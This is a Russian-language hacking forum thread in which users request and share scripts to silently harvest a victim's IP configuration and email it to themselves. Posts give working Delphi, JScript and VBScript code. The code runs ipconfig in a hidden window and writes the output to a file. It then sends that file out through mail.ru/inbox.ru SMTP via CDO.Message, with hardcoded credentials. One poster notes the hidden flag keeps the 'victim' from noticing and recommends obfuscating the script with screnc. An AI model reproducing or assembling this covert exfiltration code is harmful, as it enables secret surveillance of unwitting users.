ip на мыло

помнится был 1 файл .bat для создания в папке Temp ip.txt юзера , и 1 .vbs для отправки на мыло . Если у кого эти файлы ?

 

IP сонфиг отправляй...

 

Можно сканпелировать такой кодес:

Code:

procedure GetIp;
 var
   data: TIdMultiPartFormDataStream;
 begin
   data := TIdMultiPartFormDataStream.Create;
   data.AddFormField('param1', 'value1');
   try
   myip:=Form1.IdHTTP1.Post('http://www.whatismyip.com/automation/n09230945.asp', data)+#13#10;
   finally
     data.Free;
   end;

   end;

Code:

procedure TForm1.SendIP;
begin
SMTP.Host:='smtp.mail.ru';
   SMTP.Username:='[email protected]';
   SMTP.Password:='mailpassword';
   SMTP.AuthenticationType:=atLogin;
   SMTP.Port:=25;
   with IdMessage do
      begin
      Body.Add('..IP report:..'+#13#10+myip);
        From.Text := '[email protected]';
        Recipients.EMailAddresses := '[email protected]';
        Subject := '..IP report:..'+#13#10+myip;
        end;
      SMTP.Connect;
         try
      SMTP.Send(IdMessage);
         finally
           SMTP.Disconnect;
         end;
end;

 

нето , мне нужен именно тот исходник

 

Code:

echo ipconfig >> ip2snd.txt
start jsmail.jse

Code:

jsmail.jse:

var fso=new ActiveXObject("Scripting.FileSystemObject");
function Send(){
try{
var Cm = new ActiveXObject("CDO.Message");
var Cc = new ActiveXObject("CDO.Configuration");
var Fl = Cc.Fields;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = logn;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = pass;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = serv;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25;
Fl.Update();
Cm.Configuration = Cc;
Cm.To = document.Sendm.to.value;
Cm.From = youm; 
Cm.Subject = document.Sendm.subj.value;
Cm.TextBody = document.Sendm.mesg.value + "\n------------------------------------\n.";
if (document.Sendm.namef.value==""){}
else{Cm.AddAttachment(document.Sendm.namef.value);}
Cm.Send();
Cm = null;
Cc = null;
Fl = null;
if (document.Sendm.as.checked) { 
add(document.Sendm.to.value);
}
}catch (e){
if (e.number == -2147220974){
Send();
log(e.description);
}else{
stopErrors(e.description);
}
}
}

Извини лень искать для вб, но на js не так сложно, правда кусок выдран из моей мини hta тулзы, если почистить переменные, то будет работать + в скрипте реализовать надо четние файла - это если без аттача.

 

нето , чё-то неполучается
нужен код который невыдавая окон создавал ip.txt в temp и vbs который бы отправлял на мыло

 

vbs - юзая COM подрубаешся в WMI и береш IP
И потом через тотже COM и объект аутглюка отправляеш почту.
И никаких тебе окон. А вообще в служебной инфе о почте и так есть адрес с которобы было принято сообщение.

 

Code:

Set WshShell = CreateObject("WScript.Shell") 
WshShell.Run "cmd.exe /c ipconfig > C:\ip.txt", 0, false 

WScript.Sleep (5000)

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.inbox.ru","[B][COLOR=Red]ТВОЁ_МЫЛО@mail.ru[/COLOR][/B]","[email protected]","ИП пришли","Олололололо!111")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="xs1vljm"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="9e2chklhp"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.inbox.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\ip.txt"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing

 

спс всем кто помог , в коде ошибка , стоит пробел

вот содержание 1.bat

как сделать чтоб невыдавал окон ?

 

Опять же:

Code:

var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("%COMSPEC% /c ipconfig >> 1.txt",0);

%COMSPEC% /c

флаг /c обязателен иначе жертва может увидеть нечайно непонятные cmd...

+ сам скрипт лучше пропустить через "screnc" т.к. палить свой ящик хоть подставной нехоттся )

Да и как сказал slesh, dos тут никчему.. js и вб могут брать ip и даж встречающиеся прокси на пути.

P.S. извиняйте пример опять под js.

 

нужен js код для запуска C:\ty.vbs , или код для bat что бы скрыто запускался невыдовая cmd